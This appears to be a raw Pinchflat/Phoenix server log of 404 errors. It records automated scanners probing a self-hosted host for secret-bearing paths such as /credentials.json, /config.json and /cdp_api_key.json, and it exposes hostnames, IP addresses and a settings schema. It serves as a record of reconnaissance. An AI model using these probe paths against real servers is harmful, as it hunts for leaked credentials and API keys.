8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9610.0>, params: %{}, path_info: ["credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/credentials.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMV (truncated) 15:21:47.774 [info] GET /config.json 15:21:47.774 [debug] QUERY OK source="settings" db=0.1ms idle=373.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:47.775 [debug] QUERY OK source="settings" db=0.1ms idle=373.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:47.775 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:47.775 [error] #PID<0.9612.0> running PinchflatWeb.Endpoint (connection #PID<0.9611.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /config.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9611.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35134}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9612.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)"}, {"x-forwarded-for", "167.99.182.39"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "167.99.182.39"} ], request_path: "/config.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAxEvA5pOkBUAAcNC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9611.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35134}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9611.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35134}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9612.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)"}, {"x-forwarded-for", "167.99.182.39"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "167.99.182.39"} ], request_path: "/config.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAxEvA5pOkBUAAcNC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoeni (truncated) 15:21:47.872 [info] GET /cdp_api_key.json 15:21:47.872 [debug] QUERY OK source="settings" db=0.1ms idle=373.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:47.873 [debug] QUERY OK source="settings" db=0.0ms idle=236.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:47.873 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:47.873 [error] #PID<0.9614.0> running PinchflatWeb.Endpoint (connection #PID<0.9613.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /cdp_api_key.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /cdp_api_key (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9613.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/cdp_api_key.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35140}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9614.0>, params: %{}, path_info: ["cdp_api_key"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/cdp_api_key.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAxcGMS82vMAAAcOC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9613.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/cdp_api_key.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35140}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /cdp_api_key (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9613.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/cdp_api_key.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35140}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9614.0>, params: %{}, path_info: ["cdp_api_key"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/cdp_api_key.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMV (truncated) 15:21:48.107 [info] GET /app.js 15:21:48.108 [debug] QUERY OK source="settings" db=0.1ms idle=471.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:48.108 [debug] QUERY OK source="settings" db=0.0ms idle=333.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:48.108 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:48.108 [error] #PID<0.9616.0> running PinchflatWeb.Endpoint (connection #PID<0.9615.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /app.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9615.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35152}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9616.0>, params: %{}, path_info: ["app"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/app.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAyUNLNJ0EQ4AAcPC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9615.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35152}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9615.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35152}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9616.0>, params: %{}, path_info: ["app"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/app.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"c (truncated) 15:21:48.345 [info] GET /main.js 15:21:48.345 [debug] QUERY OK source="settings" db=0.1ms idle=570.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:48.345 [debug] QUERY OK source="settings" db=0.0ms idle=472.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:48.345 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:48.345 [error] #PID<0.9618.0> running PinchflatWeb.Endpoint (connection #PID<0.9617.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /main.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /main (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9617.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/main.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35168}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9618.0>, params: %{}, path_info: ["main"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/main.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAzMymtzDwoIAAcQC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9617.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/main.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35168}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ 